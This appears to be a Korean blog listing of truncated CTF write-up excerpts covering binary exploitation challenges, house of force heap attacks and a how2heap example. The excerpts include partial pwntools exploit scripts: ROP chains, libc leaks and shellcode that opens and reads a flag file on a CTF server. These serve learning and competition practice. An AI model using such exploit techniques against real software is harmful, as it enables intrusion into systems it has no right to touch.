프로그램 자체는 간단합니다. 1번이 readData, 2번이 writeData 입니다. 123456789101112131415unsigned __int64 __fastcall readData(__int64 a1){ __int64 idx; // rax int v3; // [rsp+4h] [rbp-14h] unsigned __int64 v4; // [rsp+8h] [rbp-10h] v4 = __readfsqword(0x28u); puts("Which entry to show?"); v3 = 0; __isoc99_scanf("%u", &v3); idx = (12 * v3); if ( idx
babypwn 123456_int64 copy(){ char v1; // [rsp+0h] [rbp-80h] return __isoc99_scanf((__int64)&unk_402008, (__int64)&v1);}Colored by Color Scriptercs 여기서 overflow가 일어나고 Nx와 full relro가 걸려있다. rop 하면 된다 그냥1234567891011121314151617181920212223242526272829303132333435363738from pwn import * #context.log_level = 'debug' #p = remote('baby.uni.hctf.fun',25251) p = process('./babypwn')e = ELF('./babypwn') ..
house of force가 가능하려면 1. heap overflow가 일어나 top chunk를 overwrite 할 수 있어야 하고2. 원하는 만큼 malloc이 가능해야 한다.3. 그리고 malloc할 때 원하는 값을 쓸 수 있어야한다. house of force를 이용한 공격방법을 생각해보면첫번째 malloc을 한 chunk에서 heap overflow가 일어나 top chunk를 overwrite 할 수 있어야하고두번째 malloc을 할 때 malloc size를 임의로 조정할 수 있어야한다그리고 세번째 malloc을 할 때 자신이 원하는 값을 chunk에 쓸 수 있어야한다. //2019-02-19 hof 를 더불어 unsorted bin attack이나 fastbin duplicate 문제 풀..
보호되어 있는 글입니다.
옛날에 풀었었는데 우연히 어떤 분 블로그를 보고 pwntools의 shellcraft라는것을 접하게 되어 다시 풀어보았다. 12345678910111213from pwn import * p = remote('chall.pwnable.tw',10001) payload=asm(shellcraft.open("/home/orw/flag"))payload+=asm(shellcraft.read("eax","esp",0x100))payload+=asm(shellcraft.write(1,"esp",0x100)) p.sendline(payload) p.recvuntil("shellcode:")print p.recvline() Colored by Color Scriptercs 이렇게 간단하다. 간단히 설명하면 open으로..
대충 바이너리의 동작은 포켓몬을 잡고, 관리하는 동작을 하는 바이너리이다. 메뉴가 이렇게 5개로 구성이 되고 1번 메뉴에서 풀숲으로 들어가 포켓몬을 잡을 수 있다. 1번 메뉴 내부의 함수로 들어가면 이렇게 나오는데 넘겨지는 인자에 따라 포켓몬 정보를 가지고 fight 함수를 실행한다. (인자가 1이면 charizard, 2이면 kakuna) fight 함수에서는 1,2,3번 메뉴가 있는데 1번은 공격, 2번은 포켓볼 던지기, 3번은 도망치기 이다. 이렇게 포켓몬을 잡을 수 있는데 이 부분은 fight 함수에서 포켓몬을 잡고 추가할 때 인벤토리가 다 차있을 경우에 예외처리를 해주는 부분이다. 그런데 choose pokemon으로 포켓몬을 선택한 후 해당 포켓몬을 free 하고 그 위치에 잡은 포켓몬을 대입..
first_fit.c1234567891011121314151617181920212223242526272829303132333435#include #include #include int main(){ fprintf(stderr, "이 파일은 공격에대한 증명을 하지는 않지만, glibc allocator의 특성을 보여줍니다.\n"); fprintf(stderr, "glibc는 free chunk를 선택하는데 first-fit 알고리즘을 사용합니다.\n"); fprintf(stderr, "만약 chunk가 free되고 충분이 그 크기가 크면, malloc은 이 chunk를 선택합니다.\n"); fprintf(stderr, "이것은 use-after-free 공격 상황이 될 수 있습니다.\n"); fprintf..
PIE, NX가 걸려있다. 2번 메뉴에서 system 함수의 주소를 구하고 offset을 바탕으로/bin/sh, gadget의 주소를 구해 익스 할 수 있따. 1234567891011121314151617181920212223242526272829303132from pwn import * p = process('./r0pbaby')#context(arch='amd64',os='linux',endian='little',log_level='debug') p.sendlineafter(': ','2')p.sendlineafter('symbol: ','system') p.recvuntil("Symbol system: ")system = int(p.recv(18),16) binsh = system + 0x1479c..
underflow 내고, write 함수를 사용한 다음에는 첫번째, 세번째 인자가 세팅되어있으므로pop rsi r15 가젯으로 rsi만 컨트롤 하여 릭 하고, main으로 돌리고 oneshot으로 뛰어서익스 했다 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647from pwn import * p = process('./cee')e = ELF('./cee')context(arch='amd64',os='linux',endian='little',log_level='debug')POP_RSI_R15_RET = 0x00400a51main = 0x400716 def check(): #p.sendlineafter(..